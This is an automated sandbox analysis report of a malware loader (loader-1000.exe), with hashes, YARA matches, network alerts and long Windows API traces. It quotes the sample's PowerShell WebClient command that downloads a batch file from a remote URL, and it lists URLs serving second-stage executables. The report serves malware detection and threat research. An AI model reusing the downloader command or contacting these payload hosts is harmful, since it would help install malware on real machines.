popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

loader-1000.exe

NSIS Generic Malware UPX Malicious Library Downloader Antivirus HTTP ScreenShot Create Service KeyLogger Internet API P2P DGA Http API FTP Socket Escalate priviledges DNS Code injection PWS Sniff Audio Steal credential AntiDebug PE File AntiVM PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 May 3, 2024, 3:33 p.m. May 3, 2024, 3:37 p.m.
Size 49.7KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 d58a180c5d85448472b4e1007fae4b2a
SHA256 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
CRC32 B73CE2C2
ssdeep 1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • NSIS_Installer - Null Soft Installer
  • IsPE32 - (no description)
  • UPX_Zero - UPX packed file

Name Response Post-Analysis Lookup
d2iv78ooxaijb6.cloudfront.net
A 54.192.60.34
A 54.192.60.39
A 54.192.60.91
A 54.192.60.53
54.192.60.34
d295fdouc92v9n.cloudfront.net
A 13.225.129.184
A 13.225.129.163
A 13.225.129.43
A 13.225.129.128
13.225.129.43
240429000936002.mjt.kqri92.top
A 179.43.158.2
94.156.35.76
IP Address Status Action
13.225.129.43 Active Moloch
164.124.101.2 Active Moloch
179.43.158.2 Active Moloch
185.172.128.59 Active Moloch
54.192.60.34 Active Moloch

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.101:53004 -> 164.124.101.2:53 2023883 ET DNS Query to a *.top domain - Likely Hostile Potentially Bad Traffic
TCP 192.168.56.101:49177 -> 54.192.60.34:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49167 -> 54.192.60.34:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49171 -> 54.192.60.34:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 185.172.128.59:80 -> 192.168.56.101:49172 2400031 ET DROP Spamhaus DROP Listed Traffic Inbound group 32 Misc Attack
TCP 192.168.56.101:49172 -> 185.172.128.59:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 185.172.128.59:80 -> 192.168.56.101:49172 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 185.172.128.59:80 -> 192.168.56.101:49172 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 185.172.128.59:80 -> 192.168.56.101:49172 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.101:49162 -> 13.225.129.43:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 185.172.128.59:80 -> 192.168.56.101:49172 2015744 ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) Misc activity
TCP 192.168.56.101:49178 -> 179.43.158.2:80 2023882 ET INFO HTTP Request to a *.top domain Potentially Bad Traffic

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49177
54.192.60.34:443 		C=US, O=Amazon, CN=Amazon RSA 2048 M01 CN=*.cloudfront.net fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1
192.168.56.101:49167
54.192.60.34:443 		C=US, O=Amazon, CN=Amazon RSA 2048 M01 CN=*.cloudfront.net fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1
192.168.56.101:49171
54.192.60.34:443 		C=US, O=Amazon, CN=Amazon RSA 2048 M01 CN=*.cloudfront.net fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1
192.168.56.101:49162
13.225.129.43:443 		C=US, O=Amazon, CN=Amazon RSA 2048 M01 CN=*.cloudfront.net fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: The system cannot find the file i2.bat.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote server retur
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: ned an error: (404) Not Found."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:111
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDown
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: loadPlugin/1.5';$cli.DownloadFile <<<< ('https://d2iv78ooxaijb6.cloudfront.net/
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: load/dl.php?id=444&c=1000', 'i2.bat')
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x00000077
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d0a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033daa0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033daa0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033daa0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033daa0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033daa0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033daa0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033cee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033cee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033cee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d7a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033d8e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033dc20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033db60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033db60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002ead50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002eb450
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002eb450
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002eb450
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002eb710
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002eb710
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002eb710
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002eb710
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002eb710
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002eb710
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.172.128.59/ISetup1.exe
suspicious_features GET method with no useragent header suspicious_request GET https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
suspicious_features GET method with no useragent header suspicious_request GET https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
request GET http://185.172.128.59/ISetup1.exe
request GET http://240429000936002.mjt.kqri92.top/f/fvgbm0428902.txt
request GET https://d295fdouc92v9n.cloudfront.net/load/load.php?c=1000
request GET https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
request GET https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
request GET https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000
domain 240429000936002.mjt.kqri92.top description Generic top level domain TLD
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2556
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73322000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 1638400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02850000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72421000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72422000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02673000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02674000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02767000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02752000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02765000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02676000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02753000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02754000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02755000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02756000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02757000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02758000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02759000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05130000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05131000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05132000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05133000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05134000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05135000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05136000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05137000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05138000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05139000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05140000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05141000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05142000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
